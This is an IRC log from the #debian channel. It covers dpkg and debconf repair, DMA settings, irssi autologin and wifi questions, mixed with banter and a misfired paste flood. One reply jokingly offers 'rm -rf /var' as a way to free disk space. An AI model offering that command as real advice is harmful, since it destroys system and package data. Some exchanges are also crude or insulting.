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| 05:23.44 | bob2 | L00thar: dpkg -i debconf_whatever.deb |
| 05:24.01 | L00thar | geeze. NEVER thought of that... |
| 05:24.23 | twistednerve | anyone here had any experience in troubleshooting ATAPI dma problems? |
| 05:24.27 | bob2 | what? |
| 05:24.28 | L00thar | bob2: Point was -- that doesn't work, thought it should. |
| 05:24.28 | RainbowW | apt-get dist-upgrade ... 433 meg. 45 minutes. yawn. |
| 05:24.45 | bob2 | L00thar: oh, you SHOULD BE MORE SARCASTIC THEN. |
| 05:24.52 | L00thar | hehehe |
| 05:25.06 | L00thar | c'mon. That was such a lame reply. |
| 05:25.09 | mtnman | loothar: if /var/ is full, look in /var/cache/apt/archives...you can delete those debs if you need space. |
| 05:25.13 | mwilson | twistednerve: Does everyone get to guess what your actual problem is, or will you be telling someone? |
| 05:25.24 | L00thar | mtnman: /var is no longer full. |
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| 05:25.37 | helix | RainbowW: you could have completed that task during an apt-get update |
| 05:25.38 | RainbowW | L00thar: rm -rf /var does that |
| 05:25.44 | beta3 | bob2: looks like my book got pushed back a day on UPS because they took thursday off |
| 05:25.44 | gravity | ~hug helix |
| 05:25.47 | | ACTION hugs helix |
| 05:25.47 | L00thar | (will s/o wake up?) |
| 05:25.56 | helix | yay, gravity ! |
| 05:25.56 | RainbowW | helix: what? getting laid? i take longer than a minute or two. |
| 05:25.57 | bob2 | L00thar: I'm not going to spend hours going through the complicated suggestions before the easy ones. |
| 05:26.13 | mtnman | loothar: what is the exact message that apt spits out? |
| 05:26.15 | gravity | helix: What's shakin'? |
| 05:26.17 | helix | RainbowW: sure |
| 05:26.23 | mwilson | Good evening, kitty lady! |
| 05:26.28 | L00thar | mtnman: hold on. |
| 05:26.33 | helix | mwilson: evening :) |
| 05:26.41 | helix | gravity: not much. i have to cook dinner, damnit |
| 05:26.43 | helix | suggestions? |
| 05:26.55 | gravity | helix: Something with spinich |
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| 05:27.01 | mwilson | OOOH |
| 05:27.04 | twistednerve | Okay, trying to emable dma on ATAPI dvd rom drive. appears to enable, but as soon as reading starts, I get SeekComplete errors and dma is disabled. With dma disabled, reading from dvd is fine (but choppy), I've tried upgrading the kernel, and upgrading the firmware on the dvd itself. |
| 05:27.05 | gravity | helix: Because that's what I'm craving :-) |
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| 05:27.24 | helix | gravity: yeah, i just had some sauteed spinach leaves the other night.. |
| 05:27.29 | gravity | Mmmm |
| 05:27.32 | twistednerve | using 40 pin cable. |
| 05:27.52 | twistednerve | not using udma, but wondering if 80 pin might help. |
| 05:27.57 | mwilson | twistednerve: And what mode are you trying to set? |
| 05:28.07 | L00thar | mtnman: I will give U a dpkg line (since I've been concentrating on that) |
| 05:28.12 | azreal | i think there should be themes for apt, like anything else, to change its personality, like "apt-asshole" or "apt-intoxicated" |
| 05:28.14 | twistednerve | mwilson: dma (?) |
| 05:28.28 | bztunk | ~u |
| 05:28.29 | | somebody said u was the stupidest bastard. |
| 05:28.31 | twistednerve | mwilson: hdparm -d1 /dev/hdd |
| 05:28.41 | mwilson | twistednerve: We'll try again... what DMA mode are you trying to set? |
| 05:28.41 | bztunk | dpkg: u |
| 05:28.41 | dpkg | Dammit Jim! It's YOU. Y-O-U. Not *U*. U is a letter. YOU is a word. See ne1. |
| 05:28.45 | L00thar | Can't exec "/var/lib/dpkg/info/debconf.config": Permission denied at /usr/share/perl/5.8.2/IPC/Open3.pm line 165. |
| 05:29.08 | bob2 | L00thar: purge it. |
| 05:29.19 | bob2 | L00thar: your dpkg database looks slightly toasted. |
| 05:29.24 | vinsci | dammit is a word now? |
| 05:29.26 | twistednerve | mwilson: sorry, I suppose I didn't realize there was more than one dma mode with an ATAPI/IDE (non UDMA) device.) |
| 05:29.34 | L00thar | mtnman: hmmm. |
| 05:29.50 | dondelelcaro | vinsci: no, but damn and it are. |
| 05:29.51 | mtnman | loothar: well, if i were you, i'd be curious about the permissions on the two files mentioned in that message. |
| 05:30.14 | L00thar | mtnman: will I lose debconf info with a -P (assuming that even worx?) |
| 05:30.16 | vinsci | dondelelcaro: thought so :) |
| 05:30.28 | mwilson | There's no point... people messing with hdparm without even bothering to find out what the hardware is capable of... |
| 05:30.28 | twistednerve | this is nice, at least here I don't have to pay to get chastised. |
| 05:30.32 | L00thar | mtnman: All the permissions seem ok. |
| 05:31.07 | L00thar | mtnman: There are more messages about debconf being in an awful state. |
| 05:31.29 | azreal | twistednerve: have you tried setting CONFIG_IDEDISK_MULTI_MODE? |
| 05:31.38 | twistednerve | azreal: it is set. |
| 05:31.49 | mwilson | azreal: And what would that do, on an ATAPI device? |
| 05:31.52 | twistednerve | compiled kernel this morning with it set. |
| 05:32.07 | mtnman | loothar: it is nice that you have error messages. |
| 05:32.08 | twistednerve | mwilson: sorry if I pissed you off. |
| 05:32.18 | L00thar | mtnman: Want one? |
| 05:32.22 | twistednerve | mwilson: wasn't my intention, I'm here trying for support. |
| 05:32.29 | mwilson | twistednerve: You didn't. I just see no reason to bother. |
| 05:32.40 | azreal | mwilson: well, i remember haveing that problem once with old ide/atapi, and since reading about it in the kernel says to enable that if you are getting that specific error... |
| 05:32.53 | soleil | master: cool |
| 05:32.58 | isaac_ | twistednerve: mwilson's a grumpy old man who's pissed off at everyone all the time, so don't worry about it |
| 05:32.58 | twistednerve | azeal: read that too, |
| 05:33.03 | mtnman | loothar: no, let me get a crystal ball and guess.... |
| 05:33.13 | twistednerve | isaac: thx. |
| 05:33.19 | L00thar | mtnman: I was giving up on doing anything other than erasing debconf and trying to re-install. My first post was about how to get around dpkg's refusal. |
| 05:33.19 | mwilson | isaac_: Who was I pissed off at again? |
| 05:33.25 | isaac_ | mwilson: dunno |
| 05:33.28 | isaac_ | mwilson: someone :D |
| 05:33.38 | mwilson | isaac_: So you decided to run your mouth because...? |
| 05:33.49 | isaac_ | mwilson: because i knew i'd get a reaction from you, mostly. |
| 05:34.02 | isaac_ | especially with the 'old' bit |
| 05:34.05 | mwilson | Clueless people. |
| 05:34.18 | isaac_ | s/people/whippersnappers/ |
| 05:34.27 | nevyn | umm me. |
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| 05:34.41 | bob2 | maybe we could all troll each other in /msg? |
| 05:34.49 | isaac_ | bob2: i'm done |
| 05:34.55 | bob2 | good |
| 05:35.07 | isaac_ | .. or am i? |
| 05:35.10 | isaac_ | .. yeah, i am. |
| 05:35.11 | mwilson | And *I* never started. I bowed out of the entire conversation and got chastised for it. |
| 05:35.14 | bob2 | yes, you are. |
| 05:35.19 | mtnman | loothar: i suggest you /msg dpkg smart questions |
| 05:35.27 | L00thar | I know you are -- but what am I?? |
| 05:35.28 | twistednerve | mwilson: as I understood it, with ATAPI/IDE devices, the was only PIO mode and DMA mode, with UDMA devices there is UDMA33/66/100. As far as I know, this device only supports dma. |
| 05:35.49 | bob2 | L00thar: done trolling, plskthx. |
| 05:36.13 | mwilson | twistednerve: Perhaps you missed the bit where I said I gave up. |
| 05:36.18 | twistednerve | don't know the specific speed, I suppose I can get the spec if I need to though. |
| 05:36.20 | L00thar | Not any worse than sarcastic 'experts'... |
| 05:36.43 | twistednerve | mwilson: I was trying to clear the air I guess, suppose I shouldn't bother. |
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| 05:37.02 | mwilson | I wasn't aware it needed any clearing. |
| 05:37.10 | bob2 | gah |
| 05:37.13 | L00thar | I will try purge... |
| 05:37.15 | twistednerve | okay, I'll move on now. |
| 05:37.15 | bob2 | stop talking to each other then. |
| 05:37.35 | adamhall | what's the difference between EIDE and ultra ATA |
| 05:37.40 | twistednerve | I just wanna be friends. |
| 05:37.44 | Acid`X | a tutorial about recompiling the kernel? |
| 05:37.56 | bob2 | Acid`X: newbiedoc.sf.net |
| 05:38.04 | Acid`X | thx bob2 |
| 05:38.17 | L00thar | Oh. I forgot that long ago I found out dpkg -r only worked for a single depends w/o a long list... |
| 05:38.18 | azreal | adamhall: from what i read once, nothing, its just a nameing standard |
| 05:38.34 | adamhall | azreal: cool, thanks |
| 05:38.36 | L00thar | dpkg -P is the obvious next choice. |
| 05:38.38 | dpkg | L00thar: I think you lost me on that one |
| 05:38.50 | bob2 | 'dpkg doesn't deal with dependencies. |
| 05:39.04 | bob2 | you will need liberal use of --force-depends now. |
| 05:39.06 | mwilson | RotK has some cool music, I must admit. All very martial. |
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| 05:39.47 | Aqua_ | the vmware installation program wants to know: |
| 05:39.53 | Aqua_ | `What is the location of the directory of C header files that match your running |
| 05:39.53 | Aqua_ | kernel?` |
| 05:40.00 | Aqua_ | where are they pls_ |
| 05:40.09 | mwilson | Where did you put them? |
| 05:40.23 | Aqua_ | dunno I installed debian yesterday |
| 05:40.30 | bob2 | ask vmware, you paid for support. |
| 05:40.32 | Jordy | Excuse me. The X Server comes up, but the image is tinted blue, and still in the wrong resolution. |
| 05:40.44 | bob2 | then install kernel-headers-$(uname -r) |
| 05:40.57 | bob2 | then look in /usr/src/kernel-headers-$(uname -r)/ |
| 05:41.06 | Aqua_ | bon2k moment pls |
| 05:41.38 | L00thar | Just as I feared: 'dpkg --force-depends -P debconf' is no better than 'dpkg --force-depends -r debconf' ... |
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| 05:41.58 | aZ[a]ZeL | w00t, got a new camera.. of course it doesn't work under Linux yet :/ |
| 05:42.04 | Aqua_ | I do not have a kernel-headers d'rectory... output of uname-r is 2.4.18-bf2.4 |
| 05:42.09 | bob2 | chmod the .config fiel thebn |
| 05:42.13 | bob2 | mayeb that will help. |
| 05:42.18 | aZ[a]ZeL | though it appears to work under kernel 2.6.0, but my gphoto2 is too old :/ |
| 05:42.24 | bpence | What is a good cd burning program for X? |
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| 05:42.32 | bob2 | Aqua_: because you didn't install the package I just told you to install. |
| 05:42.32 | dondelelcaro | bpence: just use cdrecord. |
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| 05:42.55 | bob2 | bpence: gcombust. |
| 05:43.06 | bpence | great, thanks guys |
| 05:43.18 | Aqua_ | bon2ha I found it.... |
| 05:43.21 | mwilson | Is gcombust even maintained any more? |
| 05:43.24 | Aqua_ | thank you |
| 05:43.28 | Aqua_ | it is downloading now |
| 05:43.32 | bob2 | mwilson: probably not. |
| 05:43.46 | bob2 | mwilson: it'll probably be removed at some point, since it won't be ported to gtk2. |
| 05:44.05 | mwilson | Does it need to be? |
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| 05:44.16 | bob2 | no. |
| 05:44.22 | mwilson | Then why remove it? |
| 05:44.24 | bob2 | but who will fix any gtk bugs it might hit? |
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| 05:44.29 | bpence | is cdrecord console based or X based? |
| 05:44.36 | mwilson | Presumably it's maintainer. |
| 05:44.39 | bob2 | if the upstream is dead, someone has to look after it. |
| 05:44.46 | mwilson | Even if it no longer has an upstream. |
| 05:44.48 | bob2 | if the maintainer feels like maintaing it. |
| 05:44.52 | bob2 | bpence: command line |
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| 05:45.08 | bob2 | bpence: any other CD burning program you use will just be a wrapper around cdrecord. |
| 05:45.18 | mwilson | Well, then it should be removed if no one wants to maintain it, but just because it's a gtk1.x application isn't a reason. |
| 05:45.30 | bpence | bob2: alright. thanks. |
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| 05:45.47 | bob2 | right, I meant that as a consequence of being a gtk1 app, it's likely it will go away at some point. |
| 05:46.26 | mwilson | That'd be too bad... just because it's a 1.x application doesn't somehow mean it doesn't work. |
| 05:46.28 | bpence | Any of you know how to get the Logitech Quickcam Messenger to work in Debian? |
| 05:46.33 | L00thar | No ideas on how to FORCE dpkg to either reinstall or remove debconf? (--force-depends does NOT work). |
| 05:46.37 | bob2 | three important bugs have been sitting open for over 8 months. |
| 05:46.52 | bob2 | L00thar: make the .conf gile executable. |
| 05:47.00 | L00thar | ? |
| 05:47.03 | bob2 | L00thar: er, .config. isn't that what it's complaining about? |
| 05:47.05 | scruffy | soleil: It seems my problem may be netfilter. Does your linksys have a built in firewall by any chance? |
| 05:47.08 | bob2 | the error message you posted. |
| 05:47.14 | bpence | or am I pretty much stuck to windows with the cams? |
| 05:47.24 | bob2 | 16:28:45 L00thar | Can't exec "/var/lib/dpkg/info/debconf.config": Permission denied at |
| 05:47.27 | bob2 | <PROTECTED> |
| 05:47.31 | bob2 | bpence: what does google say? |
| 05:47.32 | aZ[a]ZeL | argh.. attempting to use knoppix as a debian install sucks |
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| 05:47.34 | L00thar | bob2: ya. Permissions. But they're all ok. |
| 05:47.38 | bob2 | bpence: if it's a USB mouse, it will probably work. |
| 05:47.44 | aZ[a]ZeL | just trying to install something and it wants to update half my system |
| 05:47.53 | bob2 | L00thar: that file is a+x? is /var mounted noexex? |
| 05:48.06 | mwilson | aZ[a]ZeL: Yes, even with your 'l33t-ness, if you'd asked, anyone would have told you that. |
| 05:48.08 | bpence | google? didn't know google would tell anything about it. I went to logitech's website, but that was about useless. |
| 05:48.14 | bob2 | aZ[a]ZeL: use knoppix to boot, then run debootstrap to install Debian. |
| 05:48.21 | bpence | bob2: was that a bit of sarcasm? =) |
| 05:48.24 | bob2 | bpence: vendor websits are usually useless for linxu drivers. |
| 05:48.35 | L00thar | bob2: hey... maybe. /var noexec -- but I had no problems B4. |
| 05:48.51 | bob2 | bpence: er, s/mouse/webcam/. google for "logitech whatever blah linux" and see if anyone else is using it. |
| 05:49.02 | bob2 | L00thar: <logical_next_step> |
| 05:49.30 | bpence | I've noticed that, but I couldn't find anything on X, KDE, or Debian's website. I remember running across something about it a while back, but I can't find it again, and don't remember if it said it DID or DID NOT work anyways. |
| 05:50.07 | bob2 | Debian's site would absolutely not mention it. |
| 05:50.10 | bpence | bob2: alright, I'll check that out. Is Google pretty much the best engine out there nowadays? I've always been kind of stuck on altavista and lycos |
| 05:50.13 | bob2 | same with XFree86's and KDE's. |
| 05:50.27 | bob2 | bpence: yes, google is FAR FAR FAR FAR FAR better than altavista. |
| 05:50.32 | L00thar | bob2: /var is indeed set to noexec (my paranoia). Why now? because it suddenly needs an executable script? DO all the install scripts get executed from /tmp ? |
| 05:50.35 | bob2 | dunno about lycos. |
| 05:50.46 | soleil | scruffy: no |
| 05:50.57 | bob2 | L00thar: no idea, it was always executable, noexec /tmp is not supported under Debian. |
| 05:51.05 | bpence | bob2: wow, that much better eh? guess I'll have to start using it, before I get flamed in here for not =) |
| 05:51.39 | L00thar | bo2: /tmp is exec. I was asking since I always assumed no exec in /var too -- why now. |
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| 05:51.53 | bob2 | no idea. |
| 05:52.00 | bob2 | does changing that fix it? |
| 05:52.00 | L00thar | I try. |
| 05:52.32 | deadcat | no love for my linksys pcm100h1 card? |
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| 05:53.06 | cafuego | deadcat: No, just hate and loathing. |
| 05:53.16 | cafuego | ~stab linksys |
| 05:53.17 | deadcat | )= |
| 05:53.32 | bob2 | well, blehdios! |
| 05:53.59 | dondelelcaro | !stab linksys |
| 05:54.11 | deadcat | cafuego: have you tried ad-hoc mode on your wireless card? (= |
| 05:54.28 | cafuego | deadcat: I now own a decent AP. |
| 05:54.44 | cafuego | deadcat: But yes, before I ran in hermersap mode I had an ad-hoc network. |
| 05:54.59 | deadcat | cafuego: hehe. just found out my AP SUCK... inbound is slow.. )= ad-hoc is even faster. |
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| 05:57.00 | deadcat | i set my card to 22M rate but my friend's 11M card cant connect. had to set it back to 11M. is that normal? or it should be auto for him? |
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| 05:57.17 | Jordy | Using the framebuffer server, X displays everything in a blue tint, still in the wrong resolution. |
| 05:57.20 | cafuego | deadcat: Is it an 802.11g card? |
| 05:57.24 | master | hey if i want apt-get to NOT get the package from my cd is there any way to do that without editing /etc/apt/sources.list? |
| 05:57.49 | cafuego | deadcat: 22M is *not* standard wifi, it's a proprietary hack. |
| 05:57.49 | deadcat | cafuego: no. both are b card. mine can go 22M |
| 05:57.56 | deadcat | (= |
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| 05:58.17 | cafuego | deadcat: Normal wifi operates at 11M/5M/2M and 1M |
| 05:58.33 | deadcat | k |
| 05:58.58 | cafuego | I think my AP can run at 22M as well, but only with dlink cards. |
| 05:59.07 | bpence | how do I send a message to a person on here? |
| 05:59.10 | deadcat | cool hehe |
| 05:59.17 | cafuego | bpence: /msg person you suck |
| 05:59.41 | bpence | hmm.. that's what I thought, ok, nm, stupid question. |
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| 05:59.57 | cafuego | bpence: Depending on user mode they may not get the message |
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| 06:00.14 | deadcat | cafuego: should i go classA on the wlan card and classC on the eth card? |
| 06:00.15 | bpence | what are all these user modes anyways, like mine say +i. what's that mean? |
| 06:00.22 | bpence | is there a list of what those mean anywhere? |
| 06:00.27 | dondelelcaro | !umodes |
| 06:00.31 | cafuego | bpence: varies per network |
| 06:00.41 | bpence | !umodes |
| 06:00.51 | master | hey if i want apt-get to NOT get the package from my cd is there any way to do that without editing /etc/apt/sources.list? |
| 06:00.55 | asuffield | cafuego: those so-called 22Mbit devices are really just two normal 11Mbit devices; they work on the assumption that there's enough clear airspace (ie, no other APs nearby, and two clear channels that don't interfere with each other) |
| 06:00.55 | bpence | doldelelcaro: didn't work =) I do'nt kow irc, remember |
| 06:01.17 | bpence | cafuego: so is there a way to check on each network what they mean? |
| 06:01.29 | cafuego | asuffield: yeah, but say a linksys one won't talk to a dlink one at 22Mbit |
| 06:01.48 | asuffield | I think that's actually a driver issue. it's just some kind of channel bonding |
| 06:01.55 | dondelelcaro | !umodes is http://freenode.net/using_the_network.shtml |
| 06:01.56 | dpkg | okay, dondelelcaro |
| 06:02.12 | asuffield | it would work equally well to use two 802.11b cards |
| 06:02.14 | cafuego | different implementations by different manufacturers 9and of course they don't tell anyone how they did it) |
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| 06:02.17 | asuffield | (which isn't very) |
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| 06:02.52 | bpence | dondelelcaro: great, I need to figure this irc stuff out. |
| 06:03.02 | catalyst | deadcat: hi |
| 06:03.19 | deadcat | catalyst: yoyoyo |
| 06:03.28 | cafuego | Okay, that's the first production-ish server to sit on 2.6.0. |
| 06:05.40 | bancus | bruce peren's? |
| 06:05.57 | bancus | s/'s/s'/ |
| 06:06.16 | bpence | ok, so this tutorial says that +i means channel is invite only, but that can't be for this channel, is it? |
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| 06:06.36 | bancus | this channel isn't +i |
| 06:06.49 | Wyzard | and has been since 12/08 |
| 06:06.52 | cafuego | bpence: that's usermode +i, not channel mode +i |
| 06:07.01 | cafuego | bpence: The channel is +FLPcflnt 676 601 |
| 06:07.03 | bpence | ok, I must be misunderstanding this, I've got a +i flag, what's the difference? |
| 06:07.16 | bancus | usermode +i is invisible |
| 06:07.37 | bancus | means that people who aren't in the same channel as you won't see you |
| 06:07.51 | bpence | is that something I would normally want to have on? |
| 06:07.55 | cafuego | bpence: yes |
| 06:08.03 | bancus | and even when they are in one channel, they won't see you listed for other channels you're in unless they join |
| 06:08.10 | bpence | ahh... ok.. |
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| 06:08.15 | bancus | it's good for avoiding the occaisional spambots |
| 06:08.29 | cafuego | as is +CE |
| 06:08.38 | bancus | I haven't seen those modes before |
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| 06:08.44 | bancus | freenode only? |
| 06:08.53 | dondelelcaro | bpence: some of them are. |
| 06:08.54 | cafuego | bancus: I expect so, yes. |
| 06:09.07 | bancus | what do they do? |
| 06:09.12 | bpence | bancus: well, spambots must be avoided. |
| 06:09.37 | cafuego | bancus: +E prevents non-nickserv-identified users from msging you, +C blocks CTCPs |
| 06:09.39 | icecold | Is there a way with dpkg to display just the file names without version and description? |
| 06:09.44 | bancus | ah |
| 06:09.46 | cafuego | bancus: try msging me |
| 06:09.50 | bancus | wouldn't that block actions? |
| 06:09.50 | master | so there is no way of making apt goto the web to download the files rather than try to install them from cd without editing /etc/apt/sources.list ? |
| 06:10.03 | bancus | <PROTECTED> |
| 06:10.14 | bpence | what exactly is a nickserv-identified user? |
| 06:10.22 | lorax | is radeon 9700 pro supoorted yet in new X? |
| 06:10.36 | cafuego | bpence: /msg nickserv help (basically, register your nick with a password) |
| 06:11.04 | bpence | cafuego: ahh.. so that way people can't steal your nick kinda thing? |
| 06:11.10 | cafuego | bpence: indeed |
| 06:11.33 | bpence | cafuego: I was wondering how I avoid possibly having to use a different nick |
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| 06:12.44 | cafuego | bpence: Just register the one you want, easy as. |
| 06:13.38 | dexcophan | how to retrieve deb packages which reside on unmnt fat32 partition using apt? |
| 06:13.46 | bpence | cafuego: thanks, I'm doing that right now |
| 06:14.04 | bancus | unmnt? |
| 06:14.29 | cafuego | dexcophan: mount it |
| 06:14.31 | dexcophan | not mounted yet |
| 06:14.41 | bancus | you'd need to mount it first of all |
| 06:16.41 | bpence | cafuego: the AUTOMASK option, is that for if I'm on dhcp or something? |
| 06:18.01 | cafuego | bpence: That'll be for dynamic ips from your isp, yes. |
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| 06:18.41 | bpence | cafuego: finally, I guessed something right =) |
| 06:18.45 | the_faulk | where can i find the md5 sum for debian-30r1-i386-binary-1.iso 20-Mar-2003 20:52 584M |
| 06:18.45 | the_faulk | <PROTECTED> |
| 06:18.58 | the_faulk | whoops |
| 06:19.24 | the_faulk | where can i find the md5sum for the first debian r1 disk? |
| 06:19.32 | the_faulk | it wasnt in the mirror i used |
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| 06:20.16 | cafuego | the_faulk: main server |
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| 06:21.20 | cafuego | Isn't that great. |
| 06:21.28 | aZ[a]ZeL | yay, my digicam works with linux now |
| 06:24.38 | Kaji | heya! I just downloaded the daily netinst.iso, but after configuring the network the installer says "invalid release file, no entry for main/binary-i386/packages" |
| 06:24.38 | the_faulk | is there a debian out there with 2.6 in it? |
| 06:24.38 | troubled | cafuego: merrry ho ho |
| 06:24.38 | the_faulk | so i dont have to update |
| 06:24.38 | troubled | cafuego: yes, im callin you a ho! :) |
| 06:24.38 | troubled | bah, that sounded gay |
| 06:24.38 | isaac_ | haha |
| 06:24.39 | holycow | yes |
| 06:24.39 | holycow | yes it did |
| 06:24.39 | isaac_ | that's going straight to bash.org |
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| 06:24.39 | holycow | congratulations |
| 06:24.39 | troubled | lol |
| 06:24.39 | the_faulk | lol |
| 06:24.39 | holycow | i just blinked and read catalysts entrance as * catalyst has joined #lesbian |
| 06:24.39 | holycow | hehe :) |
| 06:24.39 | troubled | holycow: wouldnt be the first time Ive been on some log site hehe |
| 06:24.39 | randey | I have tuner card and web cam. If run xawtv, it is taking tvtuner. if remove bttv module and load ov511 and start xawtv to start web cam it is giving error /dev/video0 nosuch device |
| 06:24.39 | randey | how i get webcam working ? |
| 06:24.39 | holycow | hehe trouble :) |
| 06:24.46 | the_faulk | i have a veo stingray webcam |
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| 06:24.52 | the_faulk | will that work in debian? |
| 06:25.45 | randey | try with ov511 |
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| 06:26.43 | isaac_ | randey: try /dev/video1 |
| 06:27.00 | bpence | How do I automate the IDENTIFY in xirssi? |
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| 06:27.08 | fritz | hello |
| 06:27.12 | fritz | can anyone help me ? |
| 06:27.13 | randey | issac_ : how do i use video1 for webcam ? |
| 06:27.22 | randey | ok i will read xawtv man |
| 06:27.31 | isaac_ | randey: i think you do xawtv -d /dev/video1 |
| 06:27.32 | isaac_ | or maybe -c |
| 06:27.35 | isaac_ | yes, man xawtv :) |
| 06:27.41 | bpence | I put my nick and password in the server settings option box, but it still made me do it manually. |
| 06:27.47 | randey | isaac_ thanks |
| 06:27.48 | simonrvn | bpence: stick it in the autoconnect line |
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| 06:27.58 | fritz | i've got problem with mouse in X .... it's working (movement), but, sometimes it jumps from place to place and clicks sometime ... |
| 06:28.34 | bpence | simonrvn: where would that be? (sorry, still trying to figure this stuff out) |
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| 06:28.42 | simonrvn | autosendcmd = "/^msg nickserv ident $passwd ;wait -FN 2000; /^quote capab identify-msg;"; |
| 06:28.48 | simonrvn | bpence: ^^ |
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| 06:29.16 | simonrvn | bpence: don't do the identify-msg though, you won't be able to see nicks without a special script |
| 06:29.29 | adamhall | fritz: does it happen a lot? or just occasionally |
| 06:30.09 | bpence | simonrvn: but where do I put that? do I just put it here on the server? I would assume theres a spot for it in xirssi's configuration, right? |
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| 06:30.23 | fritz | adamhall : hmm, i've killed gpm now and it seems to be working ... how can that be possible ? cuz gpm is for console ... ? |
| 06:30.51 | adamhall | fritz: i think i've had that problem with gpm too |
| 06:31.16 | adamhall | ~tell fritz about gpm |
| 06:31.47 | fritz | adamhall : yes, its working now ... maybe we should report it to developers or somethin' ? |
| 06:31.48 | lorax | lol.. i have accelleratred X for ati radeon 9700 pro 128meg.. lol |
| 06:31.55 | adamhall | fritz: oops |
| 06:32.02 | adamhall | !tell fritz about gpm |
| 06:32.17 | simonrvn | bpence: yes, in the ~/.irssi/config, there's a section with a network that you connect to (i'll paste in #flood), it's the command the client sends to the server when it has connected |
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| 06:32.55 | zeo33x | hi all, when im running a program, what happens if i delete the executable? |
| 06:33.17 | fritz | thx adamhall |
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| 06:33.48 | Discipulus | quick question: what all comes on the first debian CD |
| 06:34.11 | bpence | simonrvn: you said NOT to use the identify-msg part? so that's everything after the /quote part right? |
| 06:34.47 | simonrvn | bpence: yes. and yes, i changed my passwd |
| 06:35.46 | cafuego | simonrvn: /msg that to me too, actually |
| 06:36.03 | cafuego | zeo33x: Nothing. |
| 06:36.09 | lorax | question, i have working X ( Running KDE ) but i want to set up mouse to paste on right-click. i have a wheel mouse 3 button ( include wheel ) set on /dev/psaux/ any ideas? |
| 06:36.22 | zeo33x | cafuego: program keeps running? |
| 06:36.29 | simonrvn | cafuego: no too late haha |
| 06:36.32 | zeo33x | cafuego: it will let me delete it? not like in windows? |
| 06:36.32 | cafuego | zeo33x: Yes, it's in ram. |
| 06:36.34 | bpence | simonrvn: ok. and that goes under the 'chatnets' section? |
| 06:36.41 | cafuego | zeo33x: Yes. |
| 06:36.43 | zeo33x | cafuego: cool :) |
| 06:36.47 | simonrvn | bpence: lemme check, though i think so |
| 06:36.52 | cafuego | simonrvn: YOU BASTARD BACONEATER! |
| 06:36.54 | Ikarus_ | lorax: why on EARTH do you want to have right click to paste ?, right click is for context menu already |
| 06:36.57 | simonrvn | bpence: yup |
| 06:36.58 | streuner | !tell the_faulk about away |
| 06:37.15 | bpence | simonrvn: great.. lemme see if this works now.. |
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| 06:37.28 | cafuego | Ikarus_: The console has no context menu *muaha* |
| 06:37.56 | lorax | Ikarus_: becasue i want to select or highlight with left mouse button , and paste with right.... what is context menu? |
| 06:38.14 | bpence | simonrvn: well, lemme see if another assumption is correct.. if I set up xirssi's network name as 'FreeNode', would I change the 'FN' in your pasted info to 'FreeNode'? |
| 06:38.22 | scruffy | <PROTECTED> |
| 06:38.25 | scruffy | <PROTECTED> |
| 06:38.28 | scruffy | ::: zeo33x!~zeo33x@h24-80-241-22.vc.shawcable.net has joined: #debian |
| 06:38.31 | scruffy | ::: dexcophan!~sky@202.133.101.85 has quit: |
| 06:38.33 | scruffy | <zeo33x> hi all, when im running a program, what happens if i delete the executable? |
| 06:38.36 | scruffy | <fritz> thx adamhall |
| 06:38.39 | simonrvn | bpence: yes |
| 06:38.39 | scruffy | ::: Discipulus!~easy@main085.ppp.rockriver.net has joined: #debian |
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| 06:38.42 | lorax | is kernel 2.6 buggy? |
| 06:38.42 | scruffy | <Discipulus> quick question: what all comes on the first debian CD |
| 06:38.44 | scruffy | <bpence> simonrvn: you said NOT to use the identify-msg part? so that's everything after the /quote part right? |
| 06:38.44 | cafuego | scruffy: Your mouse privileges are now REVOKED. |
| 06:38.47 | scruffy | ::: the_faulk is now known as faulk|dead |
| 06:38.49 | bpence | simonrvn: WOO HOO! I'm on a roll today. |
| 06:38.50 | scruffy | * faulk|dead is back |
| 06:38.50 | cafuego | lorax: Yes. |
| 06:38.51 | bpence | =) |
| 06:38.52 | scruffy | <simonrvn> bpence: yes. and yes, i changed my passwd |
| 06:38.55 | scruffy | * faulk|dead is away: eating |
| 06:38.57 | scruffy | ::: Ikaruszszszszszs is now known as Ikarus_ |
| 06:39.00 | scruffy | <cafuego> simonrvn: /msg that to me too, actually |
| 06:39.02 | scruffy | <cafuego> zeo33x: Nothing. |
| 06:39.04 | streuner | scruffy: stop that |
| 06:39.05 | scruffy | <lorax> question, i have working X ( Running KDE ) but i want to set up mouse to paste on right-click. i have a |
| 06:39.05 | *** mode/#debian [+o simonrvn] by ChanServ |
| 06:39.05 | *** kick/#debian [scruffy!simon@simonrvn.usercloak.freenode] by simonrvn (Please don't troll here.) |
| 06:39.06 | *** mode/#debian [-o simonrvn] by simonrvn |
| 06:39.07 | Discipulus | wtf? |
| 06:39.07 | helix | damn |
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| 06:39.14 | simonrvn | paste gone awry |
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| 06:39.21 | cafuego | helix: Hey, I have a fresh huntsman in the kitchen. |
| 06:39.21 | Discipulus | lol |
| 06:39.24 | the_faulk | how do i get rid of the away announcements in ksirc? |
| 06:39.27 | helix | cafuego: heh |
| 06:39.45 | cafuego | helix: Pixel has been staring at it for hours. |
| 06:40.03 | cafuego | simonrvn: Also, can you unban Justin_ ? |
| 06:40.03 | helix | aww |
| 06:40.07 | the_faulk | i think i fixed it... |
| 06:40.10 | the_faulk | let me test |
| 06:40.16 | the_faulk | crap |
| 06:40.32 | lorax | ok so anyone know how to make right mouse button paste? |
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| 06:40.51 | cafuego | lorax: Easiest way, remap the buttons. |
| 06:41.23 | cafuego | lorax: make rightclick do what middleclick does now. |
| 06:41.37 | pr0c | does debian use a different location than ~/.icons/default for mouse themes after installing xfree86 from experimental (4.3)? |
| 06:42.00 | Discipulus | I heard that debian and dial-up don't mix . . . any opinions? |
| 06:42.18 | lorax | cafuego: thanks.. i got it |
| 06:42.24 | dondelelcaro | Discipulus: you heard wrong... |
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| 06:42.42 | helix | waiting several months before upgrading might prove bothersome though |
| 06:42.52 | soleil | humph. ok. my mouse works in GPM, but i cant seem to get it to work in X |
| 06:42.54 | Discipulus | dondelelcaro~ what are your opinions on the matter? |
| 06:42.57 | azreal | what do i need to do to iptables to make dcc send work? |
| 06:43.00 | pr0c | Discipulus, other than you will have slow downloads for apt. |
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| 06:43.18 | dondelelcaro | Discipulus: you can use debian over dialup just fine. Just don't expect to follow sid. |
| 06:43.36 | soleil | i've set the device location to /dev/gpmdata, and i've set th protocol to imps/2, but no luck |
| 06:43.44 | Discipulus | pr0c~ that doesn't really bother me, I'm often online for 10-12 hours at a time |
| 06:43.55 | Discipulus | dondelelcaro~ I don't plan on following sid . . . do most people? |
| 06:44.11 | soleil | in gpm.conf, i have it set as repeat ms3 and autops2 |
